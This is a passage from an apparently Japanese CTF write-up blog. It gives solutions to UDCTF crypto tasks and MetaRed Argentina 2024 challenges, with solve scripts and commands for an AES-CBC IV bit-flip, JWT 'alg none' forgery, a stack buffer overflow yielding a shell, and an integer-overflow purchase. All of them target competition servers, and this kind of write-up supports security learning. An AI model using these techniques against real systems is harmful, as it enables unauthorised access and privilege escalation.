    print(pt)

最終的な実行結果は以下の通り。

where if he be with dauntless hardihood
i willingly on some conditions came
rise lord save me my god for thou
i would be understood in prosperous days
and the carpathian wisards hook
a sheephook or have learnd ought els the least
alas what boots it with uncessant care
and adde the power of som adjuring verse
to yield his fruit and his leaf shall not fall
tis you that say it not i you do the deeds
udctf{x0r_in_r0m4n_15_ten0r_0p3ra_s1nger?}
udctf{x0r_in_r0m4n_15_ten0r_0p3ra_s1nger?}

XS6: CTR Mode is just XOR (XOR SCHOOL)

暗号化処理の概要は以下の通り。

・pt: GETパラメータptの値のhexデコード
・padded: ptのパディング
・probiv: 環境変数probivの値
・flag: 環境変数flagの値
・padflag: flagのパディング
・flagcipher: 環境変数secretkeyを鍵、probivをナンスとしたAES CTRモードの暗号化オブジェクト
・pct: padflagをAES CTR暗号化
・yourcipher: 環境変数secretkeyを鍵としたAES ECBモードの暗号化オブジェクト
・encrypted: paddedをAES ECB暗号化
・encrypted, probiv, pctを16進数表記で出力

flagの平文と暗号文のXORは1ブロック目はnonce + '00'のAES ECBモード暗号化と同じ。2ブロック目はnonce + '01'のAES ECBモード暗号化と同じ。3ブロック目以降も同様。
このことを使って、flagを復号する。次のデータはわかっている。

probiv は 475045713653717a7936644c6d654d。
flagenc は 2cbcef061c2c4401d5bcc6c5569dab80c31daf822c0d424b2aadb5775e7c55047dd600fad942d7a32ce019da5c2edb91911cc166748fd5c4888bd030ae598968。

ptに以下を指定して暗号を調べる。

475045713653717a7936644c6d654d00475045713653717a7936644c6d654d01475045713653717a7936644c6d654d02475045713653717a7936644c6d654d03

この場合、ciphertextは以下のようになった。

79f8ac525a573069e6cef59a67a8f4eef342dcf21c3d2c14539dc0016d2334680fe5349ea01db3904fd17de9387195d4a161cf687a81dbca8685de3ea0578766780b443497b0686c7d48def8bf737543

この最終ブロックを除いた部分とflagencのXORを取れば、復号できる。

#!/usr/bin/env python3
from Crypto.Util.strxor import strxor
from Crypto.Util.Padding import unpad

flagenc = '2cbcef061c2c4401d5bcc6c5569dab80c31daf822c0d424b2aadb5775e7c55047dd600fad942d7a32ce019da5c2edb91911cc166748fd5c4888bd030ae598968'
flagenc = bytes.fromhex(flagenc)

key = '79f8ac525a573069e6cef59a67a8f4eef342dcf21c3d2c14539dc0016d2334680fe5349ea01db3904fd17de9387195d4a161cf687a81dbca8685de3ea0578766780b443497b0686c7d48def8bf737543'[:128]
key = bytes.fromhex(key)

flag = unpad(strxor(flagenc, key), 16).decode()
print(flag)
UDCTF{th3r3_15_n0_sp00n_y0uv3_alr34dy_d3c1d3d_NE0}

XS8: CBC Encrypted? (XOR SCHOOL)

暗号化処理の概要は以下の通り。

・GETパラメータのtokenがある場合
 ・ct: GETパラメータのtokenの値
 ・iv: GETパラメータのivの値
 ・cipher: 環境変数secretkeyの値を鍵、ivをivとしたAES CBCモード暗号化のオブジェクト
 ・pt: ctの復号
 ・flag: 環境変数flagの値
 ・token: ptをJSONとしてパース
 ・token['role']が"admin"の場合、flagのJSONデータを送信
・GETパラメータのtokenがない場合
 ・iv: ランダム16バイト文字列
 ・cipher: 環境変数secretkeyの値を鍵、ivをivとしたAES CBCモード暗号化のオブジェクト
 ・pt = b'{"role":"guest","username":"johndoe","id":"123"}'
 ・ct: ptの暗号化
 ・ct, ivの16進数表示

ブロック形式をイメージすると以下のようになる。

0123456789abcdef
{"role":"guest",
"username":"john
doe","id":"123"}

同じ暗号の場合iv と 1ブロック目平文のXORは同じため、ivを調整してroleをadminにすることができる。
GETパラメータなしで以下のデータを取得できた。

{"token": "69f548ed58ad71e7d3b7e31316224c23376e184f0090d5e4fe3bb9c28528003b3acc0a4a5d517e818fee64b1ef269d7d", "iv": "afd1448149014321cba43ddd34a603bd"}
#!/usr/bin/env python3
from Crypto.Util.strxor import strxor

pt0 = b'{"role":"guest",'
pt1 = b'{"role":"admin",'
iv0 = bytes.fromhex('afd1448149014321cba43ddd34a603bd')

iv1 = strxor(strxor(pt0, iv0), pt1)
iv1 = iv1.hex()
print(iv1)

XORの計算により、roleをadminにする場合のivは以下の通り。tokenは同じものを指定すればよい。

afd1448149014321cba22cd52ebc03bd
$ curl "https://vbbfgwcc6dnuzlawkslmxvlni40zkayu.lambda-url.us-east-1.on.aws/?token=69f548ed58ad71e7d3b7e31316224c23376e184f0090d5e4fe3bb9c28528003b3acc0a4a5d517e818fee64b1ef269d7d&iv=afd1448149014321cba22cd52ebc03bd"
{"flag": "udctf{1v_m4n1pul4t10n_FTW_just_anoth3r_x0R_4pplic4tion}"}
udctf{1v_m4n1pul4t10n_FTW_just_anoth3r_x0R_4pplic4tion}

CTF MetaRed Argentina-TIC 2024 Writeup

この大会は2024/11/8 20:00(JST)~2024/11/9 20:00(JST)に開催されました。
今回もチームで参戦。結果は3872点で205チーム中24位でした。
自分で解けた問題をWriteupとして書いておきます。

Discord 1 (Misc)

Discordに入り、#announcementsチャネルのトピックを見ると、以下のように書いてあり、フラグが見つかった。

Welcome, here we will put announcements related to the capture the flag CERTUNLP - Metared 2024: flag{Open_a_ticket_in_Support_channel_for_help_NO_HINTS!!!}
flag{Open_a_ticket_in_Support_channel_for_help_NO_HINTS!!!}

Trust in my calculator (Misc)

$ nc calculator.ctf.cert.unlp.edu.ar 35003
 _______  _______ _________ _______  _______  _______  ______  
(       )(  ____ \__   __/(  ___  )(  ____ )(  ____ \(  __  \ 
| () () || (    \/   ) (   | (   ) || (    )|| (    \/| (  \  )
| || || || (__       | |   | (___) || (____)|| (__    | |   ) |
| |(_)| ||  __)      | |   |  ___  ||     __)|  __)   | |   | |
| |   | || (         | |   | (   ) || (\ (   | (      | |   ) |
| )   ( || (____/\   | |   | )   ( || ) \ \__| (____/\| (__/  )
|/     \|(_______/   )_(   |/     \||/   \__/(_______/(______/ 
                                                               

Bienvenidos! Resuelvan estas sumas para obtener la flag!:
2941 * 320
Mmmm tardaste mucho amiguito

四則演算の問題に答えていく。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('calculator.ctf.cert.unlp.edu.ar', 35003))

for _ in range(11):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

for _ in range(20):
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    ans = eval(data)
    print(ans)
    s.sendall(str(ans).encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)

data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

 _______  _______ _________ _______  _______  _______  ______
(       )(  ____ \__   __/(  ___  )(  ____ )(  ____ \(  __  \
| () () || (    \/   ) (   | (   ) || (    )|| (    \/| (  \  )
| || || || (__       | |   | (___) || (____)|| (__    | |   ) |
| |(_)| ||  __)      | |   |  ___  ||     __)|  __)   | |   | |
| |   | || (         | |   | (   ) || (\ (   | (      | |   ) |
| )   ( || (____/\   | |   | )   ( || ) \ \__| (____/\| (__/  )
|/     \|(_______/   )_(   |/     \||/   \__/(_______/(______/


Bienvenidos! Resuelvan estas sumas para obtener la flag!:
4686 + 993
5679
Correcto! A resolver!:
2047 - 446
1601
Correcto! A resolver!:
3838 * 1113
4271694
Correcto! A resolver!:
1577 - 1452
125
Correcto! A resolver!:
1385 + 1857
3242
Correcto! A resolver!:
3136 - 1407
1729
Correcto! A resolver!:
4778 + 657
5435
Correcto! A resolver!:
254 + 652
906
Correcto! A resolver!:
5607 - 1263
4344
Correcto! A resolver!:
2420 * 1711
4140620
Correcto! A resolver!:
5662 + 974
6636
Correcto! A resolver!:
4009 - 842
3167
Correcto! A resolver!:
3302 - 1876
1426
Correcto! A resolver!:
5034 + 1007
6041
Correcto! A resolver!:
5642 - 1480
4162
Correcto! A resolver!:
5021 + 1641
6662
Correcto! A resolver!:
5398 - 768
4630
Correcto! A resolver!:
1243 + 1113
2356
Correcto! A resolver!:
3721 - 1585
2136
Correcto! A resolver!:
5962 + 1574
7536
Correcto! A resolver!:
flag{warm0+0up_now_you_can_try_pwn!}
flag{warm0+0up_now_you_can_try_pwn!}

Read the rules (Misc)

ルールのページのHTMLソースを見ると、スペースと1文字だけのコメントがたくさん入っている。

<!--                                   y-->
<!--                                             G-->
<!--                                       0-->
    <div class="col-md-6 offset-md-3">
<!--                                        d-->
        <h1 class="text-center" style="padding: 35px 0px 10px 0px">General Rules &#128220;</h1>
<!--                                  R-->
<!--                                          N-->
<!--                   u-->
<!--                                L-->
<!--                                      0-->
        <ul>
<!--            L-->
<!--                     W-->
<!--                                                 Q-->
<!--       U-->
            <li>Teams will be formed for the Capture the Flag event, with no limit on the number of members. One member
                will be designated as the team leader.
            <li>Participants must register on the platform.
            <li>Registration will be possible while the competition is open.
<!--                                              0-->
<!--                                               z-->
<!--                N-->
<!--                                                f-->
            <li>Participants from MetaRed TIC Universities must register with their institutional email address to be
                eligible for prizes. The email address must be verified by a representative of that University.
            <li>The CTF competition is an online jeopardy game, accessible from the Internet, lasting for 1 day,
<!--                    L-->
<!--                                                   =-->
<!--                                     y-->
                starting at 08 Nov 11:00:00 UTC and finishing at 09 Nov 11:00:00 UTC.
<!--      t-->
            <li>Participants that behave inappropriately will be immediately disqualified, including:<ul>
                    <li>Sharing solutions or hints.
                    <li>Attacking computers or applications not designated by the competition.
<!--    Z-->
                    <li>Attacking other participants.
<!--  x-->
                    <li>General bruteforce attacks over the online platform, resulting in IP banning.
                    <li>Creating duplicate accounts.
                    <li>Disrespecting others on the Discord server, which may lead to disqualification.
                    <li>Any other actions deemed unfair.
<!--                       w-->
<!--                            b-->
<!--             V-->
<!--                      M-->
<!--                         W-->
<!--                        b-->
<!--                  F-->
<!--        M-->
<!--              B-->
<!--          h-->
<!-- m-->
<!--   h-->
                </ul>
<!--                                                  =-->
            <li>Participants are ranked by score and speed. Score is dynamically defined.
            <li>No private information will be released to third parties; if a company requires it, we will directly
                contact you by email.
            <li>The flag format is <code>flag\{.*}</code>
            <li>All announcements and communications with challenge creators will be conducted via Discord. Please join
                our Discord server using the following link: <a href=https://discord.gg/64GpRKF6j9>Discord Server</a>
<!--                                            M-->
        </ul>
<!--                                           z-->
<!--               s-->
<!--                                    M-->
        <h1 class="text-center" style="padding: 35px 0px 10px 0px">Prizes &#127942;</h1>
            <p>Participation is open to anyone. However, only participants belonging to MetaRed TIC Higher Education
<!--         3-->
                Institutions will be eligible to receive economic prizes. Participants must prove that they belong to an
                Ibero-American Higher Education Institution during registration by sending an institutional e-mail.
            <ul>
                <li>One prize for the best team in the CTF MetaRed Argentina 2024 competition: 1 (one) prize of 500 USD.
                <li>One prize for the best team from each country with the highest score in the CTF MetaRed Argentina
                    2024:<ul>
                        <li>Argentina: 150 USD
                        <li>Brazil: 150 USD
                        <li>Central America and the Caribbean: 150 USD
<!--                               1-->
<!--           0-->
<!--                 D-->
                        <li>Chile: 150 USD
<!--                             n-->
                        <li>Colombia: 150 USD
                        <li>Ecuador: 150 USD
                        <li>Spain: 150 USD
<!--                                 T-->
<!--                           z-->
<!--     3-->
<!--                          0-->
                        <li>Mexico: 150 USD
                        <li>Perú: 150 USD
                        <li>Portugal: 150 USD
<!--Z-->
                    </ul>
            </ul>
<!--                              Q-->
    </div>
</div>
<!--                                         z-->

このデータをcode.txtとして保存する。位置をそのままにしてコメント内の文字のみ取り出し、base64デコードする。

#!/usr/bin/env python3
from base64 import *

with open('code.txt', 'r') as f:
    lines = f.read().splitlines()

b64_flag = [''] * 100
for line in lines:
    if line.startswith('<!--'):
        s = line.lstrip('<!--').rstrip('-->')
        for i in range(len(s)):
            if s[i] != ' ':
                b64_flag[i] = s[i]
                break

b64_flag = ''.join(b64_flag)
flag = b64decode(b64_flag).decode()
print(flag)
flag{T3xt-Pl41n-c0mm3nt5-4r3-4w3s0m3}

Designer (Beginner)

リンクされているstyles.cssにアクセスすると、コメントにフラグが書いてあった。

flag{css_hidden_treasure}

Git 1: Baby (Beginner)

mainの他にブランチ「feature/flag」があるので、これを選択する。コメントにflagというタイトルのものがあり、フラグが書いてあった。

flag{G111t_B4By_N0w_try_Th3_H4rd_StuFf}

HTTP specialist (Beginner)

適当なデータを入力し、Loginすると、以下のメッセージが表示される。

{"error":"Method not allowed. Try using a different method..."}

ログインページにtraceがイタリック体でかかれているので、TRACEメソッドでアクセスしてみる。

$ curl "https://http-verbs.ctf.cert.unlp.edu.ar/login" -X TRACE
TRACE received. Here's a hint: User64 -> aHVnbw==, PassD5 -> 482c811da5d5b4bc6d497ffa98491e38 Remember to PUT the correct method to log in!

アカウント情報に関するヒントが取得できたので、割り出す。

$ echo aHVnbw== | base64 -d
hugo

482c811da5d5b4bc6d497ffa98491e38をCrackStationでクラックする。

password123
$ curl "https://http-verbs.ctf.cert.unlp.edu.ar/login" -X PUT -d "username=hugo&password=password123"
{"flag":"flag{TR4C3_Th3_HttP_V3rbs}"}
flag{TR4C3_Th3_HttP_V3rbs}

Poke 0: Just Want a Totodile (Beginner)

以下のアカウントでログインする。

Username: hoge
Password: pass

クッキーのtokenには以下が設定されている。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiaG9nZSIsImlzX2FkbWluIjpmYWxzZSwicG9rZW1vbl93aXRoZHJhd24iOmZhbHNlfQ.35RjvztCkI6D2CJs28E0OhaT34Z50fcDv4m-rCMmALY
$ echo eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 | base64 -d
{"alg":"HS256","typ":"JWT"}

$ echo eyJ1c2VyIjoiaG9nZSIsImlzX2FkbWluIjpmYWxzZSwicG9rZW1vbl93aXRoZHJhd24iOmZhbHNlfQ== | base64 -d
{"user":"hoge","is_admin":false,"pokemon_withdrawn":false}

$ echo -n '{"alg":"none","typ":"JWT"}' | base64                               
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=

$ echo -n '{"user":"admin","is_admin":true,"pokemon_withdrawn":true}' | base64                     
eyJ1c2VyIjoiYWRtaW4iLCJpc19hZG1pbiI6dHJ1ZSwicG9rZW1vbl93aXRoZHJhd24iOnRydWV9

クッキーのtokenに以下を設定し、リロードする。

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJpc19hZG1pbiI6dHJ1ZSwicG9rZW1vbl93aXRoZHJhd24iOnRydWV9.

「See Pokémon Data」をクリックすると、Nicknameにフラグが見つかった。

Species: Totodile
Type: Water
Level: 10
Nickname: flag{J5ON_W3b_T0kEn_FTW}
flag{J5ON_W3b_T0kEn_FTW}

Echoes of Wisdom (Beginner)

icmpでフィルタリングすると、data部にフラグが1バイトずつ含まれているので、順に並べる。

flag{ICMP_c0berT_Ch4nN3|}

Packet Pursuit: The Forensic Odyssey (Beginner)

evildomain.comのサブドメインDNSクエリのサブドメインbase64文字列になっているので、順にデコードして結合する。

#!/usr/bin/env python3
from base64 import *

with open('log.txt', 'r') as f:
    lines = f.read().splitlines()

flag = ''
for line in lines:
    elms = line.split(' ')
    proto = elms[2]
    if proto == 'DNS':
        domain = elms[-1]
        if domain.endswith('.evildomain.com'):
            subdomain = domain.split('.')[0]
            flag += b64decode(subdomain).decode()

print(flag)
flag{f0r3ns1c_4rt_0f_exf1ltr4ti0n}

T.E.G. 1: Hide and Seek (Beginner)

ファイル名をパスフレーズとして、steghideで秘密情報を抽出する。

$ steghide extract -sf lipgloss.jpg -p lipgloss         
wrote extracted data to "flagTeg.txt".
$ cat flagTeg.txt                                       
flag{5t3g0_1s_fun_wh3n_y0u_f1nd_1t}
flag{5t3g0_1s_fun_wh3n_y0u_f1nd_1t}

Onion login (Beginner)

hintを見ると、以下のように書いてある。

Default credentials.

以下のアカウントでログインする。

Username: admin
Password: admin

Round2になり、hintを見ると、以下のように書いてある。

Sometimes the best authentication is no authentication.

Username, Passwordなしでログインする。

$ curl https://onion-login.ctf.cert.unlp.edu.ar/aosidoisajdsajfoiwqueoiwque -d "username=&password=" -v
* Host onion-login.ctf.cert.unlp.edu.ar:443 was resolved.
* IPv6: (none)
* IPv4: 119.8.76.213, 119.8.77.202
*   Trying 119.8.76.213:443...
* Connected to onion-login.ctf.cert.unlp.edu.ar (119.8.76.213) port 443
* ALPN: curl offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384 / x25519 / id-ecPublicKey
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: CN=*.ctf.cert.unlp.edu.ar
*  start date: Nov  6 12:52:19 2024 GMT
*  expire date: Feb  4 12:52:18 2025 GMT
*  subjectAltName: host "onion-login.ctf.cert.unlp.edu.ar" matched cert's "*.ctf.cert.unlp.edu.ar"
*  issuer: C=US; O=Let's Encrypt; CN=E6
*  SSL certificate verify ok.
*   Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA384
*   Certificate level 1: Public key type EC/secp384r1 (384/192 Bits/secBits), signed using sha256WithRSAEncryption
*   Certificate level 2: Public key type RSA (4096/152 Bits/secBits), signed using sha256WithRSAEncryption
* using HTTP/1.x
> POST /aosidoisajdsajfoiwqueoiwque HTTP/1.1
> Host: onion-login.ctf.cert.unlp.edu.ar
> User-Agent: curl/8.7.1
> Accept: */*
> Content-Length: 19
> Content-Type: application/x-www-form-urlencoded
> 
* upload completely sent off: 19 bytes
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* old SSL session ID is stale, removing
< HTTP/1.1 302 FOUND
< server: gunicorn
< date: Fri, 08 Nov 2024 13:45:49 GMT
< content-type: text/html; charset=utf-8
< content-length: 229
< location: /douyouknowaboutitles
< 
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/douyouknowaboutitles">/douyouknowaboutitles</a>. If not, click the link.
* Connection #0 to host onion-login.ctf.cert.unlp.edu.ar left intact

locationが設定されているので、https://onion-login.ctf.cert.unlp.edu.ar/douyouknowaboutitlesにアクセスすると、Round3になり、hintを見ると、以下のように書いてある。

Do you know about HTML?

HTMLソースを見ると以下のコメントが書いてある。

<!--  Do you know about HTTP Headers?  -->
$ curl https://onion-login.ctf.cert.unlp.edu.ar/douyouknowaboutitles -v        
* Host onion-login.ctf.cert.unlp.edu.ar:443 was resolved.
* IPv6: (none)
* IPv4: 119.8.76.213, 119.8.77.202
*   Trying 119.8.76.213:443...
        :
        :
* using HTTP/1.x
> GET /douyouknowaboutitles HTTP/1.1
> Host: onion-login.ctf.cert.unlp.edu.ar
> User-Agent: curl/8.7.1
> Accept: */*
> 
* Request completely sent off
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* old SSL session ID is stale, removing
< HTTP/1.1 200 OK
< server: gunicorn
< date: Fri, 08 Nov 2024 13:54:34 GMT
< content-type: text/html; charset=utf-8
< content-length: 1368
< x-s3cr3t: Pass: Pokemon ID 006
        :
        :
</body>
* Connection #0 to host onion-login.ctf.cert.unlp.edu.ar left intact
</html>

HTTPヘッダ「x-s3cr3t」に「Pokemon ID 006」と設定されている。ポケモンID #0006を調べると「Charizard」であるとわかり、これをパスワードとしてログインすると、以下のメッセージが表示され、フラグが含まれていた。

Yes, you're right, Charizard is the best! You get this: flag{0n1On_loGin_Down!}
flag{0n1On_loGin_Down!}

Debu... what? (Beginner)

Ghidraでデコンパイルする。

void main(void)

{
  int iVar1;
  size_t sVar2;
  long in_FS_OFFSET;
  char local_21d;
  uint local_21c;
  char local_218 [256];
  undefined8 local_118;
  undefined8 local_110;
  undefined8 local_108;
  undefined8 local_100;
  undefined8 local_f8;
  undefined8 local_f0;
  undefined8 local_e8;
  undefined8 local_e0;
  undefined8 local_d8;
  undefined8 local_d0;
  undefined8 local_c8;
  undefined8 local_c0;
  undefined8 local_b8;
  undefined8 local_b0;
  undefined8 local_a8;
  undefined8 local_a0;
  undefined8 local_98;
  undefined8 local_90;
  undefined8 local_88;
  undefined8 local_80;
  undefined8 local_78;
  undefined8 local_70;
  undefined8 local_68;
  undefined8 local_60;
  undefined8 local_58;
  undefined8 local_50;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_118 = 0x7b67616c66;
  local_110 = 0;
  local_108 = 0;
  local_100 = 0;
  local_f8 = 0;
  local_f0 = 0;
  local_e8 = 0;
  local_e0 = 0;
  local_d8 = 0;
  local_d0 = 0;
  local_c8 = 0;
  local_c0 = 0;
  local_b8 = 0;
  local_b0 = 0;
  local_a8 = 0;
  local_a0 = 0;
  local_98 = 0;
  local_90 = 0;
  local_88 = 0;
  local_80 = 0;
  local_78 = 0;
  local_70 = 0;
  local_68 = 0;
  local_60 = 0;
  local_58 = 0;
  local_50 = 0;
  local_48 = 0;
  local_40 = 0;
  local_38 = 0;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
  printf("********************************");
  puts("\nSafe with 5 alphanumeric locks.");
  puts("********************************\n");
  printf("X X X X X\nEnter the first value of the lock: ");
  __isoc99_scanf(&DAT_001020ae,&local_21c);
  snprintf(local_218,0x100,"%d",(ulong)local_21c);
  concatenate_input(&local_118,local_218);
  if (local_21c == 0x17) {
    printf("\nV X X X X\nEnter the second value of the lock: ");
    __isoc99_scanf(&DAT_001020e8,&local_21c);
    snprintf(local_218,0x100,"%o",(ulong)local_21c);
    concatenate_input(&local_118,local_218);
    if (local_21c == 0x5b) {
      printf("\nV V X X X\nEnter the third value of the lock: ");
      __isoc99_scanf(&DAT_0010211f,&local_21c);
      snprintf(local_218,0x100,"%X",(ulong)local_21c);
      concatenate_input(&local_118,local_218);
      if (local_21c == 0xf) {
        printf("\nV V V X X\nEnter the fourth value of the lock: ");
        __isoc99_scanf(&DAT_00102158,&local_21d);
        snprintf(local_218,0x100,"%c",(ulong)(uint)(int)local_21d);
        concatenate_input(&local_118,local_218);
        if (local_21d == 'Z') {
          printf("\nV V V V X\nEnter the fifth value of the lock: ");
          __isoc99_scanf(&DAT_0010218f,local_218);
          concatenate_input(&local_118,local_218);
          iVar1 = strcmp(local_218,"F0x");
          if (iVar1 == 0) {
            sVar2 = strlen((char *)&local_118);
            *(undefined2 *)((long)&local_118 + sVar2) = 0x7d;
            printf("\nV V V V V\nOpening safe... ");
            print_concatenated_input(&local_118);
          }
          else {
            puts("Wrong!");
          }
        }
        else {
          puts("Wrong!");
        }
      }
      else {
        puts("Wrong!");
      }
    }
    else {
      puts("Wrong!");
    }
  }
  else {
    puts("Wrong!");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

void concatenate_input(char *param_1,char *param_2)

{
  size_t sVar1;
  size_t sVar2;
  
  sVar1 = strlen(param_1);
  sVar2 = strlen(param_2);
  if (sVar2 + sVar1 + 2 < 0x100) {
    sVar1 = strlen(param_1);
    if (5 < sVar1) {
      sVar1 = strlen(param_1);
      *(undefined2 *)(param_1 + sVar1) = 0x5f;
    }
    strcat(param_1,param_2);
  }
  else {
    puts("Error: concatenated input exceeds maximum length.");
  }
  return;
}

順に比較している数値を該当する形式で入力していけばよい。

・1回目:0x17の10進数表記

>>> 0x17
23

・2回目:0x5bの8進数表記

>>> '%o' % 0x5b
'133'

・3回目:0x0fの16進数大文字表記

>>> '%X' % 0x0f
'F'

・4回目:'Z'
・5回目:"F0x"
$ ./safe
********************************
Safe with 5 alphanumeric locks.
********************************

X X X X X
Enter the first value of the lock: 23

V X X X X
Enter the second value of the lock: 133

V V X X X
Enter the third value of the lock: F

V V V X X
Enter the fourth value of the lock: Z

V V V V X
Enter the fifth value of the lock: F0x

V V V V V
Opening safe...  flag{23_133_F_Z_F0x}
flag{23_133_F_Z_F0x}

Poke 1: No again please (Beginner)

画像の左上から名前とIDを調べる。

01: Exeggcute(#0102)
02: Lickitung(#0108)
03: Hypno(#0097)
04: Exeggutor(#0103)
05: Scyther(#0123)
06: Machamp(#0068)
07: Venonat(#0048)
08: Venonat(#0048)
09: Venonat(#0048)
10: Weezing(#0110)
11: Doduo(#0084)
12: Tentacool(#0072)
13: Meowth(#0052)
14: Horsea(#0116)
15: Dugtrio(#0051)
16: Ponyta(#0077)
17: Dugtrio(#0051)
18: Dugtrio(#0051)
19: Nidorino(#0033)
20: Electabuzz(#0125)

IDをASCIIコードと考え、デコードする。

>>> id = [102, 108, 97, 103, 123, 68, 48, 48, 48, 110, 84, 72, 52, 116, 51, 77, 51, 51, 33, 125]
>>> bytes(id)
b'flag{D000nTH4t3M33!}'
flag{D000nTH4t3M33!}

Warmup (Pwn)

ソースコードが与えられている。

// gcc -Wall -fno-stack-protector -z execstack -no-pie -o reto reto.c
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
#include <stdio.h>
 
int main()
{
 
  int var;
  int check = 0x12345678;
  char buf[20];
 
  fgets(buf,45,stdin);
 
  printf("\n[buf]: %s\n", buf);
  printf("[check] %p\n", check);
 
  if ((check != 0x12345678) && (check != 0x54524543))
    printf ("\nClooosse!\n");
 
  if (check == 0x54524543)
   {
     printf("Yeah!! You win!\n");
     setreuid(geteuid(), geteuid());
     system("/bin/bash");
     printf("Byee!\n");
   }
   return 0;
}
$ checksec --file=reto
[*] '/mnt/hgfs/Shared/reto'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

BOFで任意の28バイトの後、0x54524543(="CERT")で上書きすればよい。

$ nc warmup.ctf.cert.unlp.edu.ar 35000
AAAAAAAAAAAAAAAAAAAAAAAAAAAACERT
ls
flag.txt
run
cat flag.txt
flag{W3lc0me_To_M3t4R3d-2024!}
flag{W3lc0me_To_M3t4R3d-2024!}

Flag shop (Pwn)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  __uid_t __euid;
  __uid_t __ruid;
  long in_FS_OFFSET;
  int local_38;
  int local_34;
  int local_30;
  int local_2c;
  uint local_28;
  uint local_24;
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  setvbuf(stdout,(char *)0x0,2,0);
  local_2c = 0;
  local_28 = 0x5dc;
  while (local_2c == 0) {
    puts("************************************");
    puts(" Welcome to the Flag Shop v1.0");
    puts("************************************");
    puts("[1] View account balance");
    puts("[2] Purchase items");
    puts("[3] Exit");
    printf("Please select an option: ");
    fflush(stdin);
    __isoc99_scanf(&DAT_0010209e,&local_38);
    if (local_38 == 1) {
      printf("\nYour current balance is: $%d\n\n",(ulong)local_28);
    }
    else if (local_38 == 2) {
      puts("Items for sale:");
      puts("[1] Discounted Flag - $1200 each");
      puts("[2] Premium Flag - $200000 (only 1 in stock)");
      fflush(stdin);
      __isoc99_scanf(&DAT_0010209e,&local_34);
      if (local_34 == 1) {
        puts("How many Discounted Flags would you like to purchase?");
        fflush(stdin);
        __isoc99_scanf(&DAT_0010209e,&local_30);
        if (0 < local_30) {
          local_24 = local_30 * 0x4b0;
          printf("Total cost: $%d\n",(ulong)local_24);
          if ((int)local_28 < (int)local_24) {
            puts("Insufficient funds!");
          }
          else {
            local_28 = local_28 - local_24;
            printf("Purchase successful! Your new balance is: $%d\n",(ulong)local_28);
          }
        }
      }
      else if (local_34 == 2) {
        puts("The Premium Flag costs $200000. Do you wish to purchase it? Enter 1 for yes.");
        fflush(stdin);
        __isoc99_scanf(&DAT_0010209e,&local_30);
        if (local_30 == 1) {
          if ((int)local_28 < 0x30d41) {
            puts("You don\'t have enough money for the Premium Flag!");
          }
          else {
            __euid = geteuid();
            __ruid = geteuid();
            setreuid(__ruid,__euid);
            puts("[+] Congratulations!");
            printf("Here\'s your flag: ");
            fflush(stdout);
            system("/bin/cat flag");
            putchar(10);
          }
        }
      }
    }
    else if (local_38 == 3) {
      local_2c = 1;
    }
    else {
      puts("Invalid option, please try again.");
    }
  }
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

整数オーバーフローを使えば、マイナスから大きいプラスに転じる。

>>> (2147483647 + 1500) / 1200
1789570.9558333333
$ nc challs.ctf.cert.unlp.edu.ar 54544    
************************************
 Welcome to the Flag Shop v1.0
************************************
[1] View account balance
[2] Purchase items
[3] Exit
Please select an option: 1

Your current balance is: $1500

************************************
 Welcome to the Flag Shop v1.0
************************************
[1] View account balance
[2] Purchase items
[3] Exit
Please select an option: 2
Items for sale:
[1] Discounted Flag - $1200 each
[2] Premium Flag - $200000 (only 1 in stock)
1
How many Discounted Flags would you like to purchase?
1789571
Total cost: $-2147482096
Purchase successful! Your new balance is: $2147483596
************************************
 Welcome to the Flag Shop v1.0
************************************
[1] View account balance
[2] Purchase items
[3] Exit
Please select an option: 2
Items for sale:
[1] Discounted Flag - $1200 each
[2] Premium Flag - $200000 (only 1 in stock)
2
